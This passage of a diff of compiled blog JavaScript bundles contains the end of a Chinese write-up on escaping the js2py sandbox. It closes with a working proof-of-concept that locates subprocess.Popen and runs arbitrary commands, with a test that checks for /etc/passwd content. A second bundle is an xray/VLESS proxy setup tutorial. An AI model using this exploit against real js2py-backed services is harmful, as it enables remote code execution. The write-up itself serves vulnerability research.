",(0,c.jsx)(s.code,{children:"dict"})]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"cdf2c66969b232f56aa024ff6d2415ea",src:n(47753).A+"",width:"1994",height:"1256"})}),"\n",(0,c.jsxs)(s.p,{children:["\u5f97\u5230\u7684\u5bf9\u8c61\u7684\u786e\u4e3a",(0,c.jsx)(s.code,{children:"dict"})]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"71d59a397371a8a061736a8aa625eea1",src:n(76145).A+"",width:"2324",height:"1320"})}),"\n",(0,c.jsxs)(s.p,{children:["\u4ee3\u7801\u8fd0\u884c\u5230\u8fd9\u91cc\u4e4b\u540e\uff0c\u5c31\u7b80\u5355\u591a\u4e86\uff0c\u5728",(0,c.jsx)(s.code,{children:"python"}),"\u91cc\uff0c\u83b7\u53d6\u6839\u5bf9\u8c61\u7684\u65b9\u5f0f\uff0c\u53ef\u4ee5\u6839\u636e\u57fa\u672c\u5bf9\u8c61\u6765\u83b7\u53d6\u6839\u5bf9\u8c61\uff0c\u4f8b\u5982\u4ee5\u4e0b"]}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-py",children:'print({}.__class__.__base__)\nprint("".__class__.__base__)\nprint(().__class__.__base__)\n'})}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"8d21ef7a38064f02f76316ab1c70c1b0",src:n(16335).A+"",width:"2264",height:"1304"})}),"\n",(0,c.jsx)(s.p,{children:"\u5f97\u5230\u6839\u5bf9\u8c61\u540e\uff0c\u540e\u9762\u4e0essti\u6a21\u7248\u6ce8\u5165\u7c7b\u4f3c\uff0c"}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{children:'import js2py\n\npayload_2 = """\nlet o = Object.getOwnPropertyNames({}).__class__.__base__.__subclasses__()\nfor (i in o) {\n console.log(o[i])\n}\n"""\njs2py.eval_js(payload_2)\n'})}),"\n",(0,c.jsx)(s.p,{children:"\u4e0b\u9762\u67096\u79cd\u65b9\u5f0f\u53ef\u4ee5\u6267\u884c\u547d\u4ee4"}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"\u5185\u5efa\u51fd\u6570 eval \u6267\u884c\u547d\u4ee4\nos \u6a21\u5757\u6267\u884c\u547d\u4ee4\npopen \u51fd\u6570\u6267\u884c\u547d\u4ee4\nimportlib \u7c7b\u6267\u884c\u547d\u4ee4\nlinecache \u51fd\u6570\u6267\u884c\u547d\u4ee4\nsubprocess.Popen \u7c7b\u6267\u884c\u547d\u4ee4\n"})}),"\n",(0,c.jsxs)(s.p,{children:["\u7531\u4e8e \u83b7\u53d6\u7684\u5bf9\u8c61\u5747\u662f \u662f\u88ab\u5c01\u88c5\u540e\u7684\uff0c\u4f8b\u5982\u6839\u5bf9\u8c61 \u90fd\u662f ",(0,c.jsx)(s.code,{children:"PyObjectWarpper"})]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"f370f31459c94cebb2900f580b26faee",src:n(53034).A+"",width:"1336",height:"426"})}),"\n",(0,c.jsxs)(s.p,{children:["\u5e76\u4e14\u83b7\u53d6\u5230\u7684",(0,c.jsx)(s.code,{children:"__init__"})," \u51fd\u6570\u5bf9\u8c61\u4e5f\u5747\u88ab\u5c01\u88c5"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"eca2ceab4a2e8483ad4416c424a9111d",src:n(7954).A+"",width:"1730",height:"648"})}),"\n",(0,c.jsxs)(s.p,{children:["\u65e0\u6cd5\u83b7\u53d6",(0,c.jsx)(s.code,{children:"__globals__"}),"\uff0c\u4e5f\u5c31\u65e0\u6cd5\u4ece\u8fd9\u91cc\u5165\u624b\u83b7\u53d6\u5185\u5efa\u53d8\u91cf",(0,c.jsx)(s.code,{children:"__builtins__"})]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"0afd799d813b550caf14fb94e0972937",src:n(94625).A+"",width:"2358",height:"1428"})}),"\n",(0,c.jsx)(s.p,{children:"\u6240\u4ee5\u8fd9\u91cc\u4e00\u5171\u6709\u4e24\u79cd\u65b9\u5f0f"}),"\n",(0,c.jsxs)(s.ul,{children:["\n",(0,c.jsxs)(s.li,{children:["\u5229\u7528",(0,c.jsx)(s.code,{children:"importlib"})," \u65b9\u6cd5\u5bfc\u5165\u7c7b"]}),"\n"]}),"\n",(0,c.jsxs)(s.p,{children:["\u5728python \u4e2d\u5b58\u5728\u4e00\u4e2a\u7c7b ",(0,c.jsx)(s.code,{children:"_frozen_importlib.BuiltinImporter"})," \u8fd9\u4e2a\u7c7b\uff0c\u5728python \u4e2d\u7684\u4f5c\u7528\u5c31\u662f \u63d0\u4f9b Python \u4e2d import \u8bed\u53e5\u7684\u5b9e\u73b0\uff08\u4ee5\u53ca ",(0,c.jsx)(s.code,{children:"__import__"})," \u51fd\u6570\uff09\u3002\u6211\u4e48\u53ef\u4ee5\u76f4\u63a5\u5229\u7528\u8be5\u7c7b\u4e2d\u7684load_module\u5c06os\u6a21\u5757\u5bfc\u5165\uff0c\u4ece\u800c\u4f7f\u7528 os \u6a21\u5757\u6267\u884c\u547d\u4ee4\u3002"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"5007a129124cb7e3a84f851529884436",src:n(45729).A+"",width:"1876",height:"1476"})}),"\n",(0,c.jsxs)(s.ul,{children:["\n",(0,c.jsxs)(s.li,{children:["\u5229\u7528",(0,c.jsx)(s.code,{children:"subprocess.Popen"})," \u7c7b\u6267\u884c\u547d\u4ee4"]}),"\n"]}),"\n",(0,c.jsx)(s.p,{children:"\u8fd9\u91cc\u7c7b\u662f\u5728python 2.4\u5f15\u5165\u7684 \u53ef\u4ee5\u7528subprocess\u8fd9\u4e2a\u6a21\u5757\u6765\u4ea7\u751f\u5b50\u8fdb\u7a0b\uff0c\u5e76\u8fde\u63a5\u5230\u5b50\u8fdb\u7a0b\u7684\u6807\u51c6\u8f93\u5165/\u8f93\u51fa/\u9519\u8bef\u4e2d\u53bb\uff0c\u8fd8\u53ef\u4ee5\u5f97\u5230\u5b50\u8fdb\u7a0b\u7684\u8fd4\u56de\u503c\u3002subprocess\u610f\u5728\u66ff\u4ee3\u5176\u4ed6\u51e0\u4e2a\u8001\u7684\u6a21\u5757\u6216\u8005\u51fd\u6570\uff0c\u6bd4\u5982\uff1aos.system,os.popen\u7b49\u51fd\u6570\u3002"}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"2822d519284e2178b008fb245a207db1",src:n(44383).A+"",width:"1796",height:"1504"})}),"\n",(0,c.jsx)(s.h2,{id:"0x04-poc",children:"0x04 POC"}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-py",children:'import js2py\nfrom sys import version\n\npayload = """\n// [+] command goes here:\nlet cmd = "open -a Calculator"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve("__getattribute__")\nobj = n11("__class__").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n let result;\n for(let i in o.__subclasses__()) {\n let item = o.__subclasses__()[i]\n if(item.__module__ == "subprocess" && item.__name__ == "Popen") {\n return item\n }\n if(item.__name__ != "type" && (result = findpopen(item))) {\n return result\n }\n }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nn11\n"""\n\ndef test_poc():\n etcpassword_piece = "root:x:0:0"\n result = ""\n try:\n result = repr(js2py.eval_js(payload))\n except Exception:\n return False\n return etcpassword_piece in result\n\ndef main():\n test_poc()\n\nif __name__ == "__main__":\n main()\n'})})]})}function p(e={}){const{wrapper:s}={...(0,a.R)(),...e.components};return s?(0,c.jsx)(s,{...e,children:(0,c.jsx)(o,{...e})}):o(e)}},28453:(e,s,n)=>{n.d(s,{R:()=>d,x:()=>i});var t=n(96540);const c={},a=t.createContext(c);function d(e){const s=t.useContext(a);return t.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function i(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:d(e.components),t.createElement(a.Provider,{value:s},e.children)}},44383:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/2822d519284e2178b008fb245a207db1-fb6e3baf1918f94ba359f7248e1144be.png"},45729:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/5007a129124cb7e3a84f851529884436-1d0d8228ba2bf52d840dc02b54aea2d6.png"},47753:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/cdf2c66969b232f56aa024ff6d2415ea-0ce1e926d8aa8c1d3351d64463f9a9b5.png"},48767:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/f7c83fc40db51c0676aa220a6b4263fd-c557133287a733812ea44bda107ff68f.png"},53034:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/f370f31459c94cebb2900f580b26faee-b5a84aa0aebd62aee22c32b21400f046.png"},55927:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/650f67657bc934405a122dcf131189ee-b50041e2c384fa341c08efad9b404e91.png"},76145:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/71d59a397371a8a061736a8aa625eea1-7a900fb2867708f8078ee1f5532433d1.png"},94625:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/0afd799d813b550caf14fb94e0972937-d47cea09dd075e314d10a5b4406ed39e.png"},96412:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/a712fa934ad208f15e46e3adf758eaa3-e15ed49fff3e768596c6aab320a0e8b6.png"}}]); \ No newline at end of file diff --git a/en/assets/js/f8f2dbb2.e16fa49b.js b/en/assets/js/f8f2dbb2.e16fa49b.js new file mode 100644 index 0000000..daedbda --- /dev/null +++ b/en/assets/js/f8f2dbb2.e16fa49b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9555],{8308:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/image-20221222233527949-a0052a7aa98cbe1c787e4157b602cda8.png"},28453:(n,e,s)=>{s.d(e,{R:()=>i,x:()=>t});var r=s(96540);const l={},c=r.createContext(l);function i(n){const e=r.useContext(c);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function t(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(l):n.components||l:i(n.components),r.createElement(c.Provider,{value:e},n.children)}},41027:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>o,contentTitle:()=>t,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/01.\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/01.\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5b89\u88c5Gitbook","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/"},"next":{"title":"\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406"}}');var l=s(74848),c=s(28453);const i={},t="\u57fa\u4e8exray\u7684\u79d1\u5b66\u4e0a\u7f51",o={},d=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2},{value:"\u51c6\u5907\u5de5\u5177",id:"\u51c6\u5907\u5de5\u5177",level:2},{value:"\u5b89\u88c5",id:"\u5b89\u88c5",level:2},{value:"\u5b89\u88c5\u5de5\u5177",id:"\u5b89\u88c5\u5de5\u5177",level:3},{value:"\u914d\u7f6e\u914d\u7f6e\u6587\u4ef6",id:"\u914d\u7f6e\u914d\u7f6e\u6587\u4ef6",level:3},{value:"\u65b0\u5efa\u6587\u4ef6\u5939",id:"\u65b0\u5efa\u6587\u4ef6\u5939",level:4},{value:"config.json",id:"configjson",level:4},{value:"ssl(\u76ee\u5f55)",id:"ssl\u76ee\u5f55",level:4},{value:"start.sh",id:"startsh",level:4},{value:"web.conf",id:"webconf",level:4},{value:"\u914d\u7f6e\u5b8c\u6210\u540e\u5927\u81f4\u4e3a",id:"\u914d\u7f6e\u5b8c\u6210\u540e\u5927\u81f4\u4e3a",level:4},{value:"\u5236\u4f5cdocker-compose \u542f\u52a8\u6587\u4ef6",id:"\u5236\u4f5cdocker-compose-\u542f\u52a8\u6587\u4ef6",level:3},{value:"\u542f\u52a8",id:"\u542f\u52a8",level:3},{value:"\u67e5\u770b\u72b6\u6001",id:"\u67e5\u770b\u72b6\u6001",level:3},{value:"\u5ba2\u6237\u7aef\u9009\u62e9",id:"\u5ba2\u6237\u7aef\u9009\u62e9",level:2},{value:"\u8ba2\u9605\u94fe\u63a5\u8bbe\u7f6e",id:"\u8ba2\u9605\u94fe\u63a5\u8bbe\u7f6e",level:2}];function a(n){const e={a:"a",blockquote:"blockquote",code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(e.table,{children:[(0,l.jsx)(e.thead,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(e.tbody,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.td,{style:{textAlign:"left"},children:(0,l.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(e.td,{style:{textAlign:"left"},children:"2024-01-12 00:01:36"})]})})]}),"\n",(0,l.jsx)(e.header,{children:(0,l.jsx)(e.h1,{id:"\u57fa\u4e8exray\u7684\u79d1\u5b66\u4e0a\u7f51",children:"\u57fa\u4e8exray\u7684\u79d1\u5b66\u4e0a\u7f51"})}),"\n",(0,l.jsx)(e.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,l.jsxs)(e.p,{children:["\u56fd\u5185\u7684\u5f88\u591a\u4e1c\u897f\u90fd\u662f",(0,l.jsx)(e.del,{children:"\u9609\u5272\u4e86\u7684"}),"\uff0c\u4e3a\u4e86\u5b66\u4e60\u8fd8\u662f\u9700\u8981\u61c2\u5f97\u79d1\u5b66\u4e0a\u7f51"]}),"\n",(0,l.jsx)(e.h2,{id:"\u51c6\u5907\u5de5\u5177",children:"\u51c6\u5907\u5de5\u5177"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"docker\u3001docker-compose"}),"\n",(0,l.jsx)(e.li,{children:"(ubuntu\u3001centos\u90fd\u53ef\u4ee5) vps\u3001\u57df\u540d"}),"\n"]}),"\n",(0,l.jsx)(e.h2,{id:"\u5b89\u88c5",children:"\u5b89\u88c5"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u6211\u5df2\u7ecf\u628a docker \u955c\u50cf\u5236\u4f5c\u597d\u4e86\uff0c\u6240\u4ee5 \u5f88\u7b80\u5355\u7684\u53ea\u9700\u8981\u4fee\u6539\u51e0\u4e2a\u5c0f\u5730\u65b9\u5c31\u53ef\u4ee5\u98df\u7528\u4e86"}),"\n"]}),"\n",(0,l.jsx)(e.h3,{id:"\u5b89\u88c5\u5de5\u5177",children:"\u5b89\u88c5\u5de5\u5177"}),"\n",(0,l.jsx)(e.p,{children:"\u5b89\u88c5docker\uff1a"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.code,{children:"curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun"})}),"\n",(0,l.jsx)(e.p,{children:"\u5b89\u88c5docker-compose\uff1a"}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"curl -L https://get.daocloud.io/docker/compose/releases/download/v2.4.1/docker-compose-"}),"uname -s",(0,l.jsx)(e.code,{children:"-"}),"uname -m",(0,l.jsx)(e.code,{children:" > /usr/local/bin/docker-compose"})]}),"\n",(0,l.jsx)(e.p,{children:"docker\u5f00\u673a\u81ea\u542f\u52a8\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"systemctl start docker && systemctl enable docker\n"})}),"\n",(0,l.jsx)(e.h3,{id:"\u914d\u7f6e\u914d\u7f6e\u6587\u4ef6",children:"\u914d\u7f6e\u914d\u7f6e\u6587\u4ef6"}),"\n",(0,l.jsx)(e.h4,{id:"\u65b0\u5efa\u6587\u4ef6\u5939",children:"\u65b0\u5efa\u6587\u4ef6\u5939"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsxs)(e.p,{children:["\u65b0\u5efa\u6587\u4ef6\u5939\u540e\u6dfb\u52a0\u4ee5\u4e0b\u6807\u9898\u7684\u6587\u4ef6",(0,l.jsx)(e.code,{children:" config.json\u3001ssl(\u76ee\u5f55)\u3001start.sh\u3001web.conf"})]}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"mkdir conf/\n"})}),"\n",(0,l.jsx)(e.h4,{id:"configjson",children:"config.json"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"xray\u7684\u914d\u7f6e\u6587\u4ef6\uff0c\u5c06\u91cc\u9762\u7684id\u3001\u8bc1\u4e66\u540d\u79f0\u66ff\u6362\u6210\u4f60\u7684\uff0c\u5176\u4ed6\u7684\u4e0d\u9700\u8981\u52a8"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-json",children:'{\n "log": {\n\n\n "loglevel": "warning"\n },\n "inbounds": [\n {\n "port": 443,\n "protocol": "vless",\n "settings": {\n "clients": [\n {\n "id": "\u8fd9\u91cc\u9700\u8981\u586b\u5199\u4f60\u7684id",\n "flow": "xtls-rprx-direct"\n }\n ],\n "decryption": "none",\n "fallbacks": [\n {\n "dest": 60000,\n "alpn": "",\n "xver": 1\n },\n {\n "dest": 60001,\n "alpn": "h2",\n "xver": 1\n }\n ]\n },\n "streamSettings": {\n "network": "tcp",\n "security": "xtls",\n "xtlsSettings": {\n "minVersion": "1.2",\n "certificates": [\n {\n "certificateFile": "/conf/ssl/\u8fd9\u91cc\u9700\u8981\u586b\u5199\u4f60\u7684\u8bc1\u4e66\u516c\u94a5\u540d\u79f0.crt",\n "keyFile": "/conf/ssl/\u8fd9\u91cc\u586b\u5199\u4f60\u7684\u8bc1\u4e66\u79c1\u94a5\u540d\u79f0.key"\n }\n ]\n }\n },\n "sniffing": {\n "enabled": true,\n "destOverride": [\n "http",\n "tls"\n ]\n }\n }\n ],\n "outbounds": [\n {\n "protocol": "freedom"\n }\n ]\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a\u8fd9\u91cc\u8bc1\u4e66\u8def\u5f84\u4e3a/conf/ssl/exp.crt\u7b49"})}),"\n",(0,l.jsx)(e.h4,{id:"ssl\u76ee\u5f55",children:"ssl(\u76ee\u5f55)"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u5728\u8be5\u76ee\u5f55\u4e0b\u5b58\u653e\u4f60\u7684\u516c\u79c1\u94a5,\u5927\u81f4\u5982\u4e0b\u56fe"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"ssl/exp.crt\nssl/exp.key\n"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"image-20221222233933291",src:s(63457).A+"",width:"789",height:"143"})}),"\n",(0,l.jsx)(e.h4,{id:"startsh",children:"start.sh"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u542f\u52a8\u811a\u672c\uff0c\u53ef\u4ee5\u4e0d\u9700\u8981\u66f4\u6539\u5982\u4e0b\u5373\u53ef"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-bash",children:"#!/bin/bash\ncp /conf/web.conf /etc/nginx/conf.d/ && \\\n service nginx restart && \\\n mv /var/www/html/index.nginx-debian.html /var/www/html/index.html && \\\n /data/xray/xray run -config /conf/config.json\n"})}),"\n",(0,l.jsx)(e.h4,{id:"webconf",children:"web.conf"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u5c06\u5176\u4e2d\u7684\u57df\u540d\u66ff\u6362\u6210\u4f60\u7684"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:'server\n{\n listen 80;\n listen [::]:80;\n server_name \u4f60\u7684\u57df\u540d;\n return 301 https://$http_host$request_uri;\n\n access_log /dev/null;\n error_log /dev/null;\n}\n\nserver\n{\n listen 127.0.0.1:60000 proxy_protocol;\n listen 127.0.0.1:60001 http2 proxy_protocol;\n server_name \u4f60\u7684\u57df\u540d;\n index index.html index.htm index.php default.php default.htm default.html;\n root /var/www/html;\n add_header Strict-Transport-Security "max-age=63072000" always;\n\n location ~ .*\\.(gif|jpg|jpeg|png|bmp|swf)$\n {\n expires 30d;\n error_log off;\n }\n\n location ~ .*\\.(js|css)?$\n {\n expires 12h;\n error_log off;\n }\n}\n'})}),"\n",(0,l.jsx)(e.h4,{id:"\u914d\u7f6e\u5b8c\u6210\u540e\u5927\u81f4\u4e3a",children:"\u914d\u7f6e\u5b8c\u6210\u540e\u5927\u81f4\u4e3a"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"image-20221222232309364",src:s(57466).A+"",width:"538",height:"129"})}),"\n",(0,l.jsx)(e.h3,{id:"\u5236\u4f5cdocker-compose-\u542f\u52a8\u6587\u4ef6",children:"\u5236\u4f5cdocker-compose \u542f\u52a8\u6587\u4ef6"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"docker-compose.yml \u6211\u8fd9\u91cc\u542f\u52a8\u4e864\u4e2a\uff0c\u5982\u679c\u4f60\u7684vps\u5185\u5b58\u7a7a\u95f2\u53ef\u4ee5\u591a\u542f\u52a8\u5373\u53ef\uff0c\u9632\u6b62\u6302\u6389\u3002"}),"\n",(0,l.jsx)(e.p,{children:"1001\u30011002\u30011003\u30011004 \u5c31\u662f\u4f60\u8bbe\u7f6e\u7684\u7aef\u53e3\uff0c\u53ef\u4ee5\u6309\u7167\u4f60\u7684\u4e60\u60ef\u6765"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-yaml",children:'version: "3"\nservices:\n xray1:\n image: wjlin0/xray:v1\n restart: always\n hostname: xray\n container_name: xray1\n ports:\n - "1001:443"\n volumes:\n - ./conf:/conf\n command: ["/bin/bash","/conf/start.sh"]\n xray2:\n image: wjlin0/xray:v1\n restart: always\n hostname: xray\n container_name: xray2\n ports:\n - "1002:443"\n volumes:\n - ./conf:/conf\n command: ["/bin/bash","/conf/start.sh"]\n xray3:\n image: wjlin0/xray:v1\n restart: always\n hostname: xray\n container_name: xray3\n ports:\n - "1003:443"\n volumes:\n - ./conf:/conf\n command: ["/bin/bash","/conf/start.sh"]\n xray4:\n image: wjlin0/xray:v1\n restart: always\n hostname: xray\n container_name: xray4\n ports:\n - "1004:443"\n volumes:\n - ./conf:/conf\n command: ["/bin/bash","/conf/start.sh"]\n'})}),"\n",(0,l.jsx)(e.h3,{id:"\u542f\u52a8",children:"\u542f\u52a8"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u5728docker-compose.yml \u76ee\u5f55\u4e0b"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"image-20221222233527949",src:s(8308).A+"",width:"717",height:"88"})}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"docker-compose up -d\n"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"image-20221222233609264",src:s(42233).A+"",width:"1306",height:"147"})}),"\n",(0,l.jsx)(e.h3,{id:"\u67e5\u770b\u72b6\u6001",children:"\u67e5\u770b\u72b6\u6001"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u82e5\u51fa\u73b0\u4e0b\u5217\u56fe\u7247\u4e2d\u7684\u60c5\u51b5\u5219\u4e3a\u542f\u52a8\u6210\u529f\u4e86"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-yaml",children:"docker-compose logs\n"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"image-20221222233803640",src:s(90163).A+"",width:"1165",height:"490"})}),"\n",(0,l.jsx)(e.h2,{id:"\u5ba2\u6237\u7aef\u9009\u62e9",children:"\u5ba2\u6237\u7aef\u9009\u62e9"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsxs)(e.li,{children:["windows\uff1a",(0,l.jsx)(e.a,{href:"https://www.qv2ray.com/",children:"winxray"}),"\u3001",(0,l.jsx)(e.a,{href:"https://github.com/2dust/v2rayN",children:"v2rayN"})]}),"\n",(0,l.jsxs)(e.li,{children:["linux\uff1a",(0,l.jsx)(e.a,{href:"https://v2raya.org/",children:"v2rayA"})]}),"\n",(0,l.jsxs)(e.li,{children:["ios\uff1a",(0,l.jsx)(e.a,{href:"https://shadowrocket.gitbook.io/shadowrocket/help",children:"Shadowrocket"})," # \u8fd9\u4e2a\u8981\u94b1\uff0c\u7f51\u4e0a\u627e\u4e00\u4e0b\u6559\u7a0b"]}),"\n",(0,l.jsxs)(e.li,{children:["\u5b89\u5353\uff1a",(0,l.jsx)(e.a,{href:"https://github.com/2dust/v2rayNG",children:"V2rayNG"})]}),"\n",(0,l.jsxs)(e.li,{children:["Mac\uff1a",(0,l.jsx)(e.a,{href:"https://iyideng.net/tools/qv2ray.html",children:"Qv2ray"})]}),"\n"]}),"\n",(0,l.jsx)(e.h2,{id:"\u8ba2\u9605\u94fe\u63a5\u8bbe\u7f6e",children:"\u8ba2\u9605\u94fe\u63a5\u8bbe\u7f6e"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"vless://\u4f60\u7684ID@\u4f60\u7684\u57df\u540d:\u4f60\u8bbe\u7f6e\u7684\u7aef\u53e3?flow=xtls-rprx-direct&host=&security=xtls&sni=\n"})})]})}function h(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(a,{...n})}):a(n)}},42233:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/image-20221222233609264-407896cf6331126744df11bcd118b839.png"},57466:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/image-20221222232309364-b6294a7774aa906fee4022a584f36bf1.png"},63457:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/image-20221222233933291-e67d6a2a97b95efc13570ea11d639671.png"},90163:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/image-20221222233803640-55cc2a0cdebd13c25e2b30c7d5a61417.png"}}]); \ No newline at end of file diff --git a/en/assets/js/f8f53a7a.df036693.js b/en/assets/js/f8f53a7a.df036693.js new file mode 100644 index 0000000..3e9b812 --- /dev/null +++ b/en/assets/js/f8f53a7a.df036693.js @@ -0,0 +1 @@ +"use 